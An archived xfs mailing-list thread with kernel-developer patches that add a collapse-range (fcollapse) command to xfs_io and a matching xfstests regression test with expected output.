oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DD6AF7FF3 for ; Tue, 18 Feb 2014 10:38:31 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B5ECA304075 for ; Tue, 18 Feb 2014 08:38:31 -0800 (PST) X-ASG-Debug-ID: 1392741509-04bdf00fc310c600001-NocioJ Received: from mail-pd0-f171.google.com (mail-pd0-f171.google.com [209.85.192.171]) by cuda.sgi.com with ESMTP id sPuQHg6WxRimQo4D (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 08:38:29 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.171 Received: by mail-pd0-f171.google.com with SMTP id g10so16421738pdj.30 for ; Tue, 18 Feb 2014 08:38:29 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=39e2GaM+YI2uC0ycQmrjyd4ZfMvGQ1yrafhpiuqjT1E=; b=IxnBB5nRywdj4w4j9XeeQvz0Xm1C9e0woeDBdv8yTBkQpTMlUF52rQ/+Wjca9LNcpS alOFovXgkTIcibJ4UbU4p/x7e07GKIsS2KbcxHY9AF0qzlZgU/QGkDE8n3OLq9R7ZtS7 K/mPwRxwEOjAlur/R8/hh+YdLyLhf+kGRCsaUnJ+NUfHHhYDDcFMAkZeNT+6PwRxLdZg invU9JVijAUgUuCZvVMJiUj23X495YBobu2ADD2BDpbvu6laj7DwqmOn9RHvo4QXds3y zKIRnNDVSpl2F2z7rGbKa5fBqYwzteoTqPCYQ7rQj00TpfpzZmezEVUpvn8m62vAZEFL mNVA== X-Barracuda-BBL-IP: nil X-Received: by 10.66.156.4 with SMTP id wa4mr34471707pab.49.1392741509205; Tue, 18 Feb 2014 08:38:29 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id un5sm145706293pab.3.2014.02.18.08.38.26 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 18 Feb 2014 08:38:28 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v5 4/10] xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Wed, 19 Feb 2014 01:38:20 +0900 X-ASG-Orig-Subj: [PATCH v5 4/10] xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1392741500-20131-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f171.google.com[209.85.192.171] X-Barracuda-Start-Time: 1392741509 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145248 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add support FALLOC_FL_COLLAPSE_RANGE for fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan Reviewed-by: Dave Chinner --- io/prealloc.c | 41 +++++++++++++++++++++++++++++++++++++++-- man/man8/xfs_io.8 | 6 ++++++ 2 files changed, 45 insertions(+), 2 deletions(-) diff --git a/io/prealloc.c b/io/prealloc.c index 8380646..d697f82 100644 --- a/io/prealloc.c +++ b/io/prealloc.c @@ -29,6 +29,10 @@ #define FALLOC_FL_PUNCH_HOLE 0x02 #endif +#ifndef FALLOC_FL_COLLAPSE_RANGE +#define FALLOC_FL_COLLAPSE_RANGE 0x08 +#endif + static cmdinfo_t allocsp_cmd; static cmdinfo_t freesp_cmd; static cmdinfo_t resvsp_cmd; @@ -37,6 +41,7 @@ static cmdinfo_t zero_cmd; #if defined(HAVE_FALLOCATE) static cmdinfo_t falloc_cmd; static cmdinfo_t fpunch_cmd; +static cmdinfo_t fcollapse_cmd; #endif static int @@ -159,8 +164,11 @@ fallocate_f( int mode = 0; int c; - while ((c = getopt(argc, argv, "kp")) != EOF) { + while ((c = getopt(argc, argv, "ckp")) != EOF) { switch (c) { + case 'c': + mode = FALLOC_FL_COLLAPSE_RANGE; + break; case 'k': mode = FALLOC_FL_KEEP_SIZE; break; @@ -203,6 +211,25 @@ fpunch_f( } return 0; } + +static int +fcollapse_f( + int argc, + char **argv) +{ + xfs_flock64_t segment; + int mode = FALLOC_FL_COLLAPSE_RANGE; + + if (!offset_length(argv[1], argv[2], &segment)) + return 0; + + if (fallocate(file->fd, mode, + segment.l_start, segment.l_len)) { + perror("fallocate"); + return 0; + } + return 0; +} #endif /* HAVE_FALLOCATE */ void @@ -263,7 +290,7 @@ prealloc_init(void) falloc_cmd.argmin = 2; falloc_cmd.argmax = -1; falloc_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; - falloc_cmd.args = _("[-k] [-p] off len"); + falloc_cmd.args = _("[-c] [-k] [-p] off len"); falloc_cmd.oneline = _("allocates space associated with part of a file via fallocate"); add_command(&falloc_cmd); @@ -277,5 +304,15 @@ prealloc_init(void) fpunch_cmd.oneline = _("de-allocates space assocated with part of a file via fallocate"); add_command(&fpunch_cmd); + + fcollapse_cmd.name = "fcollapse"; + fcollapse_cmd.cfunc = fcollapse_f; + fcollapse_cmd.argmin = 2; + fcollapse_cmd.argmax = 2; + fcollapse_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; + fcollapse_cmd.args = _("off len"); + fcollapse_cmd.oneline = + _("de-allocates space and eliminates the hole by shifting extents"); + add_command(&fcollapse_cmd); #endif /* HAVE_FALLOCATE */ } diff --git a/man/man8/xfs_io.8 b/man/man8/xfs_io.8 index 767b50e..9543b20 100644 --- a/man/man8/xfs_io.8 +++ b/man/man8/xfs_io.8 @@ -380,6 +380,12 @@ will set the FALLOC_FL_KEEP_SIZE flag as described in .PD .RE .TP +.BI fcollapse " offset length" +Call fallocate with FALLOC_FL_COLLAPSE_RANGE flag as described in the +.BR fallocate (2) +manual page to de-allocates blocks and eliminates the hole created in this process +by shifting data blocks into the hole. +.TP .BI fpunch " offset length" Punches (de-allocates) blocks in the file by calling fallocate with the FALLOC_FL_PUNCH_HOLE flag as described in the -- 1.7.9.5 From linkinjeon@gmail.com Tue Feb 18 10:38:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3133A7FF3 for ; Tue, 18 Feb 2014 10:38:50 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9F2EEAC004 for ; Tue, 18 Feb 2014 08:38:49 -0800 (PST) X-ASG-Debug-ID: 1392741527-04cb6c6de1540970001-NocioJ Received: from mail-pd0-f180.google.com (mail-pd0-f180.google.com [209.85.192.180]) by cuda.sgi.com with ESMTP id QWwsD85aqHmkr9mK (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 08:38:47 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.180 Received: by mail-pd0-f180.google.com with SMTP id x10so16515113pdj.11 for ; Tue, 18 Feb 2014 08:38:47 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=GrOBy9WLDeAod0U9f6fIfcI7BJJqAO/KKhChjfoyUjQ=; b=gxMUJF+pv0zoJlZq9eSZhfTqcydxKO00SgxYxMdeCFr7vOYnqG/butEh98MHsHGJTD 2jdf7jbvN0tgMzr6BJ5wdMkndjuiSBpDPNOL6MuY3i/0HBqD6Ws9QRO4i6mxU5i289t3 NPuqS8refduZH4mRrHK13GZ5dS8cHC7DZWHyYwRVTDXkkCncZI8GNDIzUQUuhnf7LIs/ mkV+siGdrb/kwWEi6VGZYvq6rYBxoEmzjv4sd3nqqlt5gwDYXkYw1l+ByNhaCSHTYn5v W7zoOrQr1BS2JnwdVvEW5i12KzA/FraO4iU03xDwg4V/ulyTJWKW3uc7BglSHOJXPB+H Tgzg== X-Barracuda-BBL-IP: nil X-Received: by 10.66.192.162 with SMTP id hh2mr10880736pac.150.1392741527070; Tue, 18 Feb 2014 08:38:47 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id e6sm57487677pbg.4.2014.02.18.08.38.43 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 18 Feb 2014 08:38:46 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v5 5/10] xfstest: shared/001: Standard collapse range tests Date: Wed, 19 Feb 2014 01:38:33 +0900 X-ASG-Orig-Subj: [PATCH v5 5/10] xfstest: shared/001: Standard collapse range tests Message-Id: <1392741513-20165-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f180.google.com[209.85.192.180] X-Barracuda-Start-Time: 1392741527 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145248 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This testcase(001) tries to test various corner cases for fcollapse range functionality over different type of extents. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- common/punch | 156 ++++++++++++++++++++++++++++++--------------------- common/rc | 14 +++++ tests/shared/001 | 65 +++++++++++++++++++++ tests/shared/001.out | 49 ++++++++++++++++ tests/shared/group | 1 + 5 files changed, 222 insertions(+), 63 deletions(-) create mode 100755 tests/shared/001 create mode 100644 tests/shared/001.out diff --git a/common/punch b/common/punch index 49715a7..9340d3b 100644 --- a/common/punch +++ b/common/punch @@ -317,14 +317,29 @@ _test_generic_punch() map_cmd=$4 filter_cmd=$5 testfile=$6 + multiple=1 + + # + # If we are testing collapse range, we increare all the offsets of this + # test by a factor of 4. We do this because unlike punch, collapse + # range also decreases the size of file hence require bigger offsets. + # + if [ "$zero_cmd" == "fcollapse" ]; then + multiple=4 + fi + + _4k="$((multiple * 4))k" + _8k="$((multiple * 8))k" + _12k="$((multiple * 12))k" + _20k="$((multiple * 20))k" # initial test state must be defined, otherwise the first test can fail # due ot stale file state left from previous tests. rm -f $testfile echo " 1. into a hole" - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $_20k" \ + -c "$zero_cmd $_4k $_8k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -333,9 +348,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 20k" $sync_cmd \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $_20k" \ + -c "pwrite 0 $_20k" $sync_cmd \ + -c "$zero_cmd $_4k $_8k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -345,9 +360,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 20k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $_20k" \ + -c "$alloc_cmd 0 $_20k" \ + -c "$zero_cmd $_4k $_8k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -357,9 +372,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 8k 8k" $sync_cmd \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $_20k" \ + -c "pwrite $_8k $_8k" $sync_cmd \ + -c "$zero_cmd $_4k $_8k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -369,9 +384,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 8k 8k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $_20k" \ + -c "$alloc_cmd $_8k $_8k" \ + -c "$zero_cmd $_4k $_8k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -381,9 +396,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 8k" $sync_cmd \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $_20k" \ + -c "pwrite 0 $_8k" $sync_cmd \ + -c "$zero_cmd $_4k $_8k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -393,10 +408,10 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 8k" $sync_cmd \ - -c "$alloc_cmd 8k 8k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $_20k" \ + -c "pwrite 0 $_8k" $sync_cmd \ + -c "$alloc_cmd $_8k $_8k" \ + -c "$zero_cmd $_4k $_8k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -405,9 +420,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 8k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $_20k" \ + -c "$alloc_cmd 0 $_8k" \ + -c "$zero_cmd $_4k $_8k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -416,10 +431,10 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 8k" \ - -c "pwrite 8k 8k" $sync_cmd \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $_20k" \ + -c "$alloc_cmd 0 $_8k" \ + -c "pwrite $_8k $_8k" $sync_cmd \ + -c "$zero_cmd $_4k $_8k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -429,9 +444,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 8k 4k" $sync_cmd \ - -c "$zero_cmd 4k 12k" \ + $XFS_IO_PROG -f -c "truncate $_20k" \ + -c "pwrite $_8k $_4k" $sync_cmd \ + -c "$zero_cmd $_4k $_12k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -440,12 +455,12 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 20k" \ - -c "pwrite 0 8k" \ - -c "pwrite 12k 8k" $sync_cmd \ - -c "$punch_cmd 8k 4k" \ - -c "$zero_cmd 4k 12k" \ + $XFS_IO_PROG -f -c "truncate $_20k" \ + -c "$alloc_cmd 0 $_20k" \ + -c "pwrite 0 $_8k" \ + -c "pwrite $_12k $_8k" $sync_cmd \ + -c "$punch_cmd $_8k $_4k" \ + -c "$zero_cmd $_4k $_12k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -455,10 +470,10 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 20k" \ - -c "pwrite 8k 4k" $sync_cmd \ - -c "$zero_cmd 4k 12k" \ + $XFS_IO_PROG -f -c "truncate $_20k" \ + -c "$alloc_cmd 0 $_20k" \ + -c "pwrite $_8k $_4k" $sync_cmd \ + -c "$zero_cmd $_4k $_12k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -467,36 +482,51 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 20k" \ - -c "pwrite 0k 8k" $sync_cmd \ - -c "pwrite 12k 8k" -c "fsync" \ - -c "$zero_cmd 4k 12k" \ + $XFS_IO_PROG -f -c "truncate $_20k" \ + -c "$alloc_cmd 0 $_20k" \ + -c "pwrite 0k $_4k" $sync_cmd \ + -c "pwrite $_12k $_8k" -c "fsync" \ + -c "$zero_cmd $_4k $_12k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile fi - echo " 14. data -> hole @ EOF" - rm -f $testfile - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 20k" $sync_cmd \ - -c "$zero_cmd 12k 8k" \ - -c "$map_cmd -v" $testfile | $filter_cmd - [ $? -ne 0 ] && die_now - _md5_checksum $testfile + # Don't need to check EOF case for collapse range. + # VFS layer return invalid error in this case, + # So it is not a proper case for collapse range test of each local fs. + if [ "$zero_cmd" != "fcollapse" ]; then + echo " 14. data -> hole @ EOF" + rm -f $testfile + $XFS_IO_PROG -f -c "truncate $_20k" \ + -c "pwrite 0 $_20k" $sync_cmd \ + -c "$zero_cmd $_12k $_8k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + fi + + if [ "$zero_cmd" == "fcollapse" ]; then + echo " 14. data -> hole @ 0" + else + echo " 15. data -> hole @ 0" + fi - echo " 15. data -> hole @ 0" if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 20k" $sync_cmd \ - -c "$zero_cmd 0k 8k" \ + $XFS_IO_PROG -f -c "truncate $_20k" \ + -c "pwrite 0 $_20k" $sync_cmd \ + -c "$zero_cmd 0 $_8k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile + # If zero_cmd is fcollpase, don't check unaligned offsets + if [ "$zero_cmd" == "fcollapse" ]; then + return + fi + echo " 16. data -> cache cold ->hole" if [ "$remove_testfile" ]; then rm -f $testfile @@ -504,12 +534,12 @@ _test_generic_punch() else cp $testfile $testfile.2 fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 8k 12k" -c "fsync" $testfile.2 \ + $XFS_IO_PROG -f -c "truncate $_20k" \ + -c "pwrite $_8k $_12k" -c "fsync" $testfile.2 \ > /dev/null - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 20k" $sync_cmd \ - -c "$zero_cmd 0k 8k" \ + $XFS_IO_PROG -f -c "truncate $_20k" \ + -c "pwrite 0 $_20k" $sync_cmd \ + -c "$zero_cmd 0k $_8k" \ -c "fadvise -d" \ -c "$map_cmd -v" $testfile | $filter_cmd diff $testfile $testfile.2 diff --git a/common/rc b/common/rc index e91568b..ff044de 100644 --- a/common/rc +++ b/common/rc @@ -1332,6 +1332,20 @@ _require_xfs_io_falloc_punch() _notrun "xfs_io fallocate punch command failed (no fs support?)" } +# check that xfs_io, kernel and filesystem all support fallocate with collapse +# range +_require_xfs_io_falloc_collapse() +{ + testfile=$TEST_DIR/$$.falloc + testio=`$XFS_IO_PROG -f -c "pwrite 0 20k" -c "fsync" \ + -c "fcollapse 4k 8k" $testfile 2>&1` + rm -f $testfile 2>&1 > /dev/null + echo $testio | grep -q "not found" && \ + _notrun "xfs_io fallocate collapse range support is missing" + echo $testio | grep -q "Operation not supported" && \ + _notrun "xfs_io fallocate collapse range failed (no fs support?)" +} + # check that xfs_io, kernel and filesystem support fiemap _require_xfs_io_fiemap() { diff --git a/tests/shared/001 b/tests/shared/001 new file mode 100755 index 0000000..b3ebbba --- /dev/null +++ b/tests/shared/001 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. 1 +# +# Standard collapse range tests +# This testcase is one of the 4 testcases (shared 001 - 004) which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/shared/001.out b/tests/shared/001.out new file mode 100644 index 0000000..919dd12 --- /dev/null +++ b/tests/shared/001.out @@ -0,0 +1,49 @@ +QA output created by 001 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f4f35d60b3cc18aaa6d8d92f0cd3708a + 4. hole -> data +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 5. hole -> unwritten +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 10. hole -> data -> hole +bb7df04e1b0a2570657527a7e108ae23 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +bb7df04e1b0a2570657527a7e108ae23 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/group b/tests/shared/group index 0ad640b..5562f92 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -3,6 +3,7 @@ # - do not start group names with a digit # - comment line before each group is "new" description # +001 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.11-rc0 From linkinjeon@gmail.com Tue Feb 18 10:39:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 37D437FB9 for ; Tue, 18 Feb 2014 10:39:02 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 109EB304070 for ; Tue, 18 Feb 2014 08:39:02 -0800 (PST) X-ASG-Debug-ID: 1392741540-04bdf00fc310c6f0001-NocioJ Received: from mail-pd0-f172.google.com (mail-pd0-f172.google.com [209.85.192.172]) by cuda.sgi.com with ESMTP id GxxyuSJ8nyntMdTq (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 08:39:00 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.172 Received: by mail-pd0-f172.google.com with SMTP id p10so16419475pdj.31 for ; Tue, 18 Feb 2014 08:39:00 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=2lkzArHrtgEmKCHejxZe0xnB+YCKBRwJ2wUF/Z50g4g=; b=lqPIe6894g1xRKJz3ODC463hLBLAh9LmT3c1IJhZEaNT3yDWOZe4OzPpGi9i4nWg8K MaB102RWXnS/5YFs1RgM9svyk5Epoaqte2mSdJSm8qOblcWh/DDRDMijx9EbW/2O81V0 T90a9enVzPRPOZruIg9MZX8ghs5EfwHI4EZ7TqlDYYrJKEsWlwA1Nq3owd643DYBMIx3 znml4P3rYni/BXW7aH9nKSfIOu3zW3S5e9Fmy3fUlha/UC4Q703jyQXY/41sTXaC5EUH 5cNMqr3wqPBDDbXazmwUKCGXx1IRF/WXSjgtF50HAOALXpTrUepjHK6n3D1XmazTOVQg SN8A== X-Barracuda-BBL-IP: nil X-Received: by 10.68.11.199 with SMTP id s7mr34215658pbb.12.1392741540418; Tue, 18 Feb 2014 08:39:00 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id qq5sm57472525pbb.24.2014.02.18.08.38.56 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 18 Feb 2014 08:38:59 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v5 6/10] xfstest: shared/002: Delayed allocation collapse range Date: Wed, 19 Feb 2014 01:38:50 +0900 